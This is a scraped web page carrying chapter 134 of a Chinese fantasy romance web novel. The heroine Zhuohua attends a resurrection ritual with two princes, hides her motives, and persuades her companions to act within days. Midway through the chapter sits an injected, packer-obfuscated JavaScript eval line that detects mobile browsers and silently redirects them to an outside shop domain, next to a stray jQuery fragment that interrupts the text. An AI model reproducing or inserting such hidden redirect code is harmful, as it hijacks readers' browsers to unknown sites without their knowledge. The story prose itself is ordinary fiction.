文趣网 > 其他小说 > 魔尊大人有点烦 > 134. 周那个宜,变聪明了啊
    灼华既然能骗过最了解她的周宜,糊弄别人更是不在话下,于是,众人都以为她真的没事了。

    正事自然要继续进行,顾慎言带着灼华去参加祭典,当然此次的主角是自己父皇。又因为情况特殊,周宜他们自然是不能跟去的。

    祭典的位置特殊,就连身份尊贵的皇子,也得步行前往。能去到那里的人,更是越少越好。

    途中,灼华和顾慎言免不了谈天说地,话题很快就由灼华掌握了。

    “文阳也在,可是你另一个弟弟呢?”

    灼华的演技已是炉火纯青,她现如今的困顿找不出一点瑕疵,仿佛真的在好奇,一位同伴怎么不见了。

    “昨天我就不该大意,让他跟你单独外出的。”说起这个,顾慎言还是相当懊悔。

    顾文阳也跟着搭话:“还好没有出更大的意外,以后我们会让他离你远点的。”

    灼华稍显惊讶,摇头反驳。

    “不啊,我觉得你们那个弟弟挺有趣的,昨天是我们两个都迷路了,去了一个——”她皱眉歪了歪头,“有些奇怪的地方。”

    其实昨天离开灼华以后,顾慎言就去找三弟算账了,好一番威胁恐吓,吓得那人把什么都说了出来。

    所以此时两人自然知道,三弟把人关进楼里时,还跟灼华点明了缘由。因此顾慎言对她的话感到困惑,顾文阳则是更口快于心。

    “唉?你不知道他是故意骗你进去的吗?”顾文阳说完还挠了挠头。

    这番试探,让灼华清楚他们一定是找过顾国安了,目的达成,她也有路可退。

    “我当那是个玩笑话呢,怎么,难道不是吗?”

    睁大的眼睛满是无辜,兄弟俩自然谁也不会戳破真相,都默契应下了。

    一行人朝着密林深处继续走。

    期间,灼华表现得没有丝毫异样,目光不是盯着顾慎言就是看着顾文阳,根本不在意周边的境况。

    走了约莫有两炷香的时间,眼前的密林豁然开朗,地势急剧凹陷形成巨坑,深度大概跟昨天的魔楼相当。坑中造型奇特的石塔林立,从上看,排布似乎有着某种规律。

    灼华一扫便知,这是按照先天星宿阵位摆放的。不得不承认的是,这一直把控着鹊奴的派系的确有些本领。

    能囚困自己的灵簇,还能知道先天星象,这派别的源头绝不简单,灼华对此很是确定。

    巨坑中央缭绕着灰色的云雾,虽说地势特殊,但那浮动翻涌的样子,一看就是阵法使然。

    果不其然,为首的道人于坑边撰写符咒,掐诀施法。浓雾很快散去,阵中央的境况也随之显露出来。

    ——那算是是一种形制特殊的祭台。

    灼华也有些看入迷了。

    那其中处处都透着古怪,练功的祭台一般设有席地而坐的位置,献祭的祭台一般有绑缚祭品的架子,可眼前这个八方通达的祭台,上面放着两口……棺材?

    最后两个字,是顾文阳替灼华补上心声的。

    “石头做的棺材放在那里做什么?”顾文阳惊奇地询问兄长,原来,他先前没来过这里。

    声若蚊蝇,但最前方那位仙风道骨的长者霎时扭过头来,目光不悦地盯着方才讲话的人。

    “臣弟无意冒犯,还望道长见谅。”

    顾慎言开口揽下所有,那位道长也不便发难,只冷冷丢下一句,慎言勿言,接着头也不回地往前走了。

    等人走远,顾慎言才转头看着弟弟。

    “那是传承无数代的宝器,你再不能乱说了,这里别说我护不住你,就是父皇在这里,也不得不礼敬高人。”

    虽然事不关己,但灼华也跟着点了点头,随后她自然地挽上顾慎言的胳膊,凑近一些跟他耳语。

    “我有点害怕,无意中闯了祸怎么办?”

    灼华低垂眼帘,盖住了眼底压根不藏的深邃。此时此刻,她想的其实是要不要挟持看起来地位尊贵的大道士。

    清楚自己的计划对顾氏兄弟是一场酣畅淋漓的利用,所以灼华不会出手搅乱了他们父皇的复活典礼。可这份歉疚,也只能维系到典礼完成了。

    结束后要行动吗?她仍旧在沉思。

    “放心,有我陪着你不会有麻烦的,就是有,也没什么大碍。”

    顾慎言情真意切,还安抚地拍了拍灼华的手背。

    至此,灼华彻底下定了决心——暂且按兵不动,她也实在不想伤害顾慎言。

    先前的欺骗已是无可挽回,灼华此刻已经在脑中构想,该怎么弥补此人了。

    不过令灼华没想到的是,这次她竟然没有见到鹊奴。

    顾慎言和顾文阳两兄弟,亲手将父皇安放进石棺之中,灼华心怀期盼,想要看到另一个石棺中的鹊奴时,道人却朝她们摆了摆手。

    “走吧,我们要离开了。”顾慎言开口说道。

    他身旁一左一右,都转头看着他,顾文阳惊讶,灼华也是。

    “真正的仪式是我们不能看的。”顾慎言解释道。

    灼华比顾文阳接受的快,她立刻点头应声,就要跟着顾慎言离开,顾文阳再不情愿,也只能照做。

    回去以后,顾文阳奉命接着去看三弟,剩下两人有了独处的机会。

    顾慎言果然没那么淡然,他叹了一口气后,就拉住了灼华的手,先前强装的镇定也都顷刻消散。

    “怎么了?是有些担心仪式,对吗?”灼华问。

    “这是第一次我亲眼见证的仪式,我担心……”他的话停顿在这里,眼神也有些慌乱。

    灼华用力握了握他的手,出声安抚:“该相信道长呀,不是说这是流传已久的秘术吗?一定会成功的。”

    “可是……我先前没有经历过,实在没办法彻底放心。”

    生死对凡人来说的确是大事,自从灼华成了凡人以后,她也时时刻刻呵护着自己这条小命,眼前人的不安,情有可原。

    灼华耐心又说:“那么,你父皇应该见过吧?他肯定跟你表达过对此事的信任,对吗?”

    顾慎言这才顿悟——

    这些年父皇身体越发虚弱,他也越加频繁的跟自己讲,讲有多期盼那个仪式,所以应该会成功的吧。

    “谢谢你。”他牵起灼华的手,在上面落下一吻,又笑着看她:“其实带你来,也是想让你习惯一下,我们订婚后的流程跟这个差不多。”

    灼华一个愣怔,不是为了他的话,而是由于他的行为,真是包含着十足赤金的诚心……

    这让她心中有愧。

    “噢,原来是这样……”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768493|204641||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心乱如麻的人只能下意识敷衍,因为灼华实在不知道该说什么了。

    顾慎言只当她的慌乱是羞赧,赶忙出声宽慰:

    “别怕,那再怎么说也是一个月之后的事情了,门派规矩使然,仪式要间隔一段时间才能进行的。”

    这话转移了灼华的注意力,也就是说错过这个机会,就要再等一个月了……

    先前的灼华等得起,甚至会为又多一个月的恢复时间而高兴,可现在截然不同了,她得尽快救出灵簇。

    故交每时每刻都在受着折磨,这让她寝食难安。

    晚些时候,顾慎言要处理送上来的政务,灼华没有跟平常一样陪着,她去找朋友们了。

    讲清计划后,在座的周宜和翁楚灵都沉默了。连周宜也有些困惑,她为什么要那么着急。

    “虽说我们还能在这里待上个五六天,但是处处都是眼线,行动到底还是不方便,非要赶到这次吗?”

    周宜语气有些飘忽不定,临了才看到师妹也跟着点了点头,两人都觉得,这计划有点莽撞了。

    其实自上山以后,红姑基本上都在到处游荡,毕竟有顾慎言做靠山,一般人还真不能拿她怎么样。

    翁楚灵也经常出去帮她找人,周宜则是雷打不动地留守在这里等灼华,眼下正好是翁楚灵回来休息,三个人这才碰头。

    可师兄妹二人,一听灼华决定在这次就下手掠夺鹊奴,都不得不在心中捏一把汗。

    面对两人的不解,灼华没办法直接道明现状。

    一是由于灵簇于她而言意义非凡,再者,灵簇所在的地界上,有着灼华无论如何都不想周宜见到的东西。讲出去,周宜一定会去的。

    所以,一定得瞒。

    “依我看得从长计议,多一个月的修养,你的身体会更好一些。”周宜说着,语气不自觉地严肃起来,“别骗我,我知道你的身体更糟糕了。”

    灼华惊讶,“原来没骗过你吗?”

    可看那人不喜反怒,脸色更加阴沉,灼华就知道自己是被骗了……

    周宜说:“我现在知道了。”

    灼华语塞,心想,这人倒是会诈自己了。

    “反正不管怎么说,这次一定要动手。”灼华语气强硬,不再给任何人反驳的余地。

    “你要给我一个理由。”周宜更是寸步不让。

    一旁的翁楚灵抿紧嘴唇,眼中也充满了担忧,她自然也是担心灼华的。

    沉思良久,灼华才给出了无可反驳的回答——

    “周宜,我不能嫁给顾慎言。”

    简简单单的一句话,其实能误导周宜想到很多事情,比如,让他以为自己是对他情根深种,而没办法跟顾慎言完婚。

    灼华心中凄然,这事儿的确是拿来当幌子的,可只有她自己清楚,话中的感情的确真的不能再真了……

    她想周宜知道真相,却又不想。

    临了只能无奈叹息,嘴角泄出一丝苦笑,暗叹自己真是太会为难周宜了。

    “……好,那我们就这次行动。”

    周宜没再推诿,而是一口应了下来。

    无论灼华是否对自己有所隐瞒,她能模棱两可地承认心意,显然已经是被逼无奈了。

    他不想为难灼华。